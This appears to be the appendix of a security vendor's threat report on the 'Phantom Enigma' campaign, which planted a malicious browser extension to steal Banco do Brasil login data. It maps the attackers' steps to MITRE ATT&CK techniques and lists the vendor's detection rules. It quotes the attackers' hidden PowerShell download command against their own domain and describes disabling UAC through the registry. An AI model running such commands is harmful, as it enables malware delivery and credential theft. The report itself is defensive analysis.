e67e1ebf2e63bab3198a177c08782ac2af9c6eb6e4491e8d64eee363fed84185d99cc8b2782b9e49b3977748efba0c61c425636d16f1ed20af20c0ddd0af8a2badaf4cf5
ef53aa6b9fb3763fc1eaa6bd3af9a0c41f0bf6bb09827b1e640bcf6dc3158097c12669cb9e37d6ec758c5e66935ec20e2cef2b1deace37a8b26d52757145cc12ecb61391
f56fa78987202b69bd184c8ce3f057dcab03e650e73066a4144ecb0e38e4df31255440e3dbac753c85a032edd290a03c8556677c6af6ce316afdf29e8b5012aad8e561f0
fc0018bcf99793929cbab5a9ee447d4c3eeb3c585dfe0344873e7132b1f5d732b64fdb7089be5190f71185821d657f9df2c1112f61099ad23c8c668bb4d03ccfbed28430
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

MITRE ATT&CK

Resource Development
T1583.001Acquire Infrastructure: DomainsTo distribute malware, the attackers used the domains *.clientepj.com for the open directory
T1583.004Acquire Infrastructure: ServerTo distribute malware, the attackers acquired a hosting service and set up a web server
T1588.001Obtain Capabilities: MalwareTo install the malicious extension on the victim's system, the attackers developed PowerShell and BAT scripts
T1608.001Stage Capabilities: Upload MalwareDuring the active stage of the attack, the attackers placed malicious files in the open directory, including a PowerShell script for installing a malicious extension
T1585.002Establish Accounts: Email AccountsAs part of the Phantom Enigma campaign, the attackers used pre-created Gmail accounts to send phishing emails
Initial Access
T1566.001Phishing: Spearphishing AttachmentAs part of the Phantom Enigma campaign, the attackers sent phishing emails containing a malicious archive
T1566.002Phishing: Spearphishing LinkAs part of the Phantom Enigma campaign, the attackers sent phishing emails with a link to download a malicious file from an open directory
Execution
T1059.001Command and Scripting Interpreter: PowerShellAs part of the Phantom Enigma campaign, the attackers executed a PowerShell script to load a malicious extension onto the victim's system
T1059.003Command and Scripting Interpreter: Windows Command ShellTwo BAT scripts were discovered in the Phantom Enigma campaign. One checked for the presence of the Warsaw Technology service, while the other downloaded a PowerShell script from the attackers' open directory
T1059.007Command and Scripting Interpreter: JavaScriptAs part of the Phantom Enigma campaign, the attackers used JavaScript code to search for all LNK files of browsers and modify them to launch a malicious extension by adding the parameter —load-extension=, where extension-path was the path to the extension's source code specified in the script
T1204.002User Execution: Malicious FileAs part of the Phantom Enigma campaign, when the malicious archive was unpacked, the victim run a file in one of three formats: BAT script, Windows Installer, or Inno Setup
Persistence
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderThe malicious PowerShell script adds itself to the startup by modifying the value of the registry PWSecurity key HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. The path to the malicious script is passed as a value, and the script is moved to the directory %AppData%
T1547.009Boot or Logon Autostart Execution: Shortcut ModificationAs part of the Phantom Enigma campaign, the attackers used LNK files to launch browsers and deploy an extension. The user was expected to click on the modified shortcut
T1176Browser ExtensionsAs part of the Phantom Enigma campaign, the attackers used a malicious browser extension to send intercepted user data to their server. The current attack targets data from the services of the Brazilian bank Banco do Brasil
T1546.016Event Triggered Execution: Installer PackagesAs part of the Phantom Enigma campaign, the attackers signed malicious files to disguise them as a government ministry application
Defense Evasion
T1497.001Virtualization/Sandbox Evasion: System ChecksAs part of the Phantom Enigma campaign, the attackers used a PowerShell script to install a malicious extension and check for virtualization by sending the request SELECT * FROM Win32_ComputerSystem to WMI. In response to this request, the script searched for the words vmware or virtual. Another virtualization check used the requests Get-WmiObject Win32_DiskDrive and Get-WmiObject Win32_NetworkAdapter. For each disk and network adapter in the response, the script searched for the substring VMware
T1548.002Abuse Elevation Control Mechanism: Bypass User Account ControlAs part of the Phantom Enigma campaign, the attackers used a PowerShell script to install a malicious extension and disable UAC by changing the registry value EnableLUA=0 in the key HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
T1036.001Masquerading: Invalid Code SignatureAs part of the Phantom Enigma campaign, the attackers signed malicious files to disguise them as a government ministry application
T1070.004Indicator Removal: File DeletionAs part of the Phantom Enigma campaign, the attackers used a PowerShell script to install a malicious extension and process commands from the attackers' server. The REMOVEKL command allowed attackers to delete the script file and terminate the current PowerShell process
T1070.009Indicator Removal: Clear PersistenceAs part of the Phantom Enigma campaign, the attackers used a PowerShell script to install a malicious extension and process commands from the attackers' server. The REMOVEKL command allowed attackers to delete autostart registry values
Discovery
T1007System Service DiscoveryAs part of the Phantom Enigma campaign, the attackers used a BAT script to check for the presence of Warsaw Technology on the victim's system. This helped them determine that the user was a resident of Brazil
T1083File and Directory DiscoveryAs part of the Phantom Enigma campaign, the attackers used JavaScript code to scan user directories (for example, C:\Users\\Desktop) to find .lnk files associated with launching the browser. The found files were modified to launch a malicious extension and were placed next to legitimate shortcuts
Collection
T1056.003Input Capture: Web Portal CaptureAttackers used a malicious extension in Google Chrome, Microsoft Edge, and Brave to collect victims' data when victims logged in to banking systems
Command And Control
T1071.001Application Layer Protocol: Web ProtocolsAs part of the Phantom Enigma campaign, the attackers used the HTTP protocol to transmit stolen banking data
T1105Ingress Tool TransferAs part of the Phantom Enigma campaign, the attackers loaded a PowerShell script onto the victim's system using a BAT script and the command powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://enota.clientepj.com/cliente.ps1' -OutFile '%TEMP%\cliente.ps1'"

Positive Technologies product verdicts

PT Sandbox

YARA rules

crime_win_BR_PhantomEnigma__Dropper__JS
crime_win_BR_PhantomEnigma__Trojan__PS
crime_win_BR_PhantomEnigma__Banker__Extension
tool_win_ZZ_MalLNK__Trojan__BrowserExtension
tool_win_ZZ_ConnectWise__HackTool__ScreenConnect
tool_mem_ZZ_ConnectWise__HackTool__ScreenConnect
tool_multi_ZZ_MeshAgent__RemoteAdmin
tool_mem_ZZ_MeshAgent__RemoteAdmin

Behavioral verdicts

Malware dropper (Trojan-Dropper.Win32.LOLBin.a)
Malware downloader (Trojan-Downloader.PowerShell.Generic.a)
Trojan (Trojan.Win32.Recon.c)
Trojan (Trojan.Win32.Powaunch.a)
RemoteAdmin (RemoteAdmin.Win32.ConnectWise.a)
RemoteAdmin (RemoteAdmin.Win32.ConnectWise.b)

PT NAD

BANKER [PTsecurity] PhantomEnigma malicious browser extensions C2 checkin/exfiltration sid: 10013742
BANKER [PTsecurity] PhantomEnigma malicious browser extensions C2 exfiltration sid: 10013743, 10013744
TOOLS [PTsecurity] Possible MeshCentral Agent sid: 10010286, 10010288
REMOTE [PTsecurity] ScreenConnect sid: 10001349, 10004614, 10006178, 10007034, 10007740, 10013703
POLICY [PTsecurity] ConnectWise ScreenConnect components downloading sid: 10010952

MaxPatrol SIEM

Msiexec_AWL_Bypass
Hidden_Service_Create
Suspicious_Connection
Suspicious_Connection_System_Process
Browser_Extension_Install
Process_Discovery
Windows_Autorun_Modification
Web_Automation_Tool

MaxPatrol EDR

Msiexec_AWL_Bypass
System_Information_Discovery
Execute_Malicious_Command
System_Service_Discovery
Download_File_Through_Curl
Suspicious_Create_Process_Browser_LoadExtension
Share this article:

Get in touch

Fill in the form and our specialists
will contact you shortly